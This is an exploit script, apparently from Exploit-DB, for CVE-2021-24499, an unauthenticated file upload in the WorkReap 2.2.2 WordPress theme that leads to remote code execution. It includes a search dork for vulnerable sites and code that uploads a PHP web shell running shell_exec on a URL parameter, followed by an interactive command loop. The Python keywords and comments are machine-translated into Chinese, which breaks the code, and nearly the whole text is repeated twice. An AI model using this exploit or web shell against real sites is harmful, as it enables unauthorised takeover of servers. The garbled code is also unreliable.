#利用标题: WordPress主题WorkReap 2.2.2-未经身份验证的上传导致远程代码执行
#dork: inurl:/wp-content/themes/workreap/
#日期: 2023-06-01
#类别: WebApps
#供应商HomePage3360 https://themeforest.net/item/workreap-freelance-marketplace-wordpress-theme/23712454
#剥削作者:穆罕默德马云惹不起马云霍斯辛马云惹不起马云卡纳基(MR_B0HL00L)
#版本: 2.2.2
#在: Windows/Linux上测试
#CVE: CVE-2021-24499
导入请求
导入随机
导入字符串
导入系统
def用法():
横幅='''
NAME: WORDPRESS主题WorkReap 2.2.2-未经身份验证的上传导致远程代码执行
USAGE: PYTHON3 WORKREAP_RCE.PY URL
Linux : Python3 WorkReap_rce.py 3https://www.exploit-db.com
Windows : python WorkReap_Rce.py 3https://www.exploit-db.com
'''
print(f'{bold} {banner} {endc}')
def upload_file(目标):
打印('[[]上传文件')
url=target +'/wp-admin/admin-ajax.php'
body='?php echo'' + random_str +''';'
data={'action':'workreap_award_temp_file_uploader'}
wendmess=requests.post(url,data=data,files={'dawar_img':(file_name,body)})
如果'{'type':'success'
打印(f'{green} [+]文件上传成功{endc}')
check_php_file(目标)
其他:
打印(f'{red} [+]文件未上传{endc}')
DEF CHECK_PHP_FILE(目标):
response_2=requests.get(target +'/wp-content/uploads/workreap-temp/' + file_name)
如果rangy_str中
print(f'{green}成功执行的上传的php文件。{endc}')
print('path:' + target +'/wp-content/uploads/workreap-temp/' + file_name)
问题=输入(f'{Yellow}您要获得RCE吗?[Y/N] {endC}')
如果问题=='y'或问题=='y':
打印('[[]上传外壳')
get_rce(目标)
其他:
用法()
其他:
print(f'{red} [+] php文件在此网站上不允许。尝试上传另一个文件。{endc}')
def get_rce(目标):
file_name=''。
body='?php $ command=$ _get ['c']; $ output=shell_exec($命令);回声'pre \ n $ output/pre';'
data={'action':'workreap_award_temp_file_uploader'}
response_3=requests.post(target +'/wp-admin/admin-ajax.php',data=data,files={'drawad_img':(file_name,body)})
打印(f'{green} [+] shell成功上传{endc}')
而true:
命令=输入(f'{yellow}输入命令execute: {endc}')
print(f'shell路径: {target}'/wp-content/uploads/workreap-temp/{bold} {file_name}?c={command} {endc}')
response_4=requests.get(target +'/wp-content/uploads/workreap-temp/' + file_name + f'?c={命令}')
print(f'{green} {response_4.text} {endc}')
如果name=='__ -Main __':
全球绿色,红色,黄色,大胆,末端
绿色='\ 033 [92m'
红色='\ 033 [91m'
黄色='\ 033 [93m'
bold='\ 033 [1M'
endc='\ 033 [0m'
file_name=''。
rando_str=''.join(random.choices(string.ascii_lowercase + string.digits,k=8))
TRY:
upload_file(sys.argv [1])
除了IndexError:
用法()
除了requests.exceptions.requestexception为e:
打印('\ nplease输入有效地址')
#dork: inurl:/wp-content/themes/workreap/
#日期: 2023-06-01
#类别: WebApps
#供应商HomePage3360 https://themeforest.net/item/workreap-freelance-marketplace-wordpress-theme/23712454
#剥削作者:穆罕默德马云惹不起马云霍斯辛马云惹不起马云卡纳基(MR_B0HL00L)
#版本: 2.2.2
#在: Windows/Linux上测试
#CVE: CVE-2021-24499
导入请求
导入随机
导入字符串
导入系统
def用法():
横幅='''
NAME: WORDPRESS主题WorkReap 2.2.2-未经身份验证的上传导致远程代码执行
USAGE: PYTHON3 WORKREAP_RCE.PY URL
Linux : Python3 WorkReap_rce.py 3https://www.exploit-db.com
Windows : python WorkReap_Rce.py 3https://www.exploit-db.com
'''
print(f'{bold} {banner} {endc}')
def upload_file(目标):
打印('[[]上传文件')
url=target +'/wp-admin/admin-ajax.php'
body='?php echo'' + random_str +''';'
data={'action':'workreap_award_temp_file_uploader'}
wendmess=requests.post(url,data=data,files={'dawar_img':(file_name,body)})
如果'{'type':'success'
打印(f'{green} [+]文件上传成功{endc}')
check_php_file(目标)
其他:
打印(f'{red} [+]文件未上传{endc}')
DEF CHECK_PHP_FILE(目标):
response_2=requests.get(target +'/wp-content/uploads/workreap-temp/' + file_name)
如果rangy_str中
print(f'{green}成功执行的上传的php文件。{endc}')
print('path:' + target +'/wp-content/uploads/workreap-temp/' + file_name)
问题=输入(f'{Yellow}您要获得RCE吗?[Y/N] {endC}')
如果问题=='y'或问题=='y':
打印('[[]上传外壳')
get_rce(目标)
其他:
用法()
其他:
print(f'{red} [+] php文件在此网站上不允许。尝试上传另一个文件。{endc}')
def get_rce(目标):
file_name=''。
body='?php $ command=$ _get ['c']; $ output=shell_exec($命令);回声'pre \ n $ output/pre';'
data={'action':'workreap_award_temp_file_uploader'}
response_3=requests.post(target +'/wp-admin/admin-ajax.php',data=data,files={'drawad_img':(file_name,body)})
打印(f'{green} [+] shell成功上传{endc}')
而true:
命令=输入(f'{yellow}输入命令execute: {endc}')
print(f'shell路径: {target}'/wp-content/uploads/workreap-temp/{bold} {file_name}?c={command} {endc}')
response_4=requests.get(target +'/wp-content/uploads/workreap-temp/' + file_name + f'?c={命令}')
print(f'{green} {response_4.text} {endc}')
如果name=='__ -Main __':
全球绿色,红色,黄色,大胆,末端
绿色='\ 033 [92m'
红色='\ 033 [91m'
黄色='\ 033 [93m'
bold='\ 033 [1M'
endc='\ 033 [0m'
file_name=''。
rando_str=''.join(random.choices(string.ascii_lowercase + string.digits,k=8))
TRY:
upload_file(sys.argv [1])
除了IndexError:
用法()
除了requests.exceptions.requestexception为e:
打印('\ nplease输入有效地址')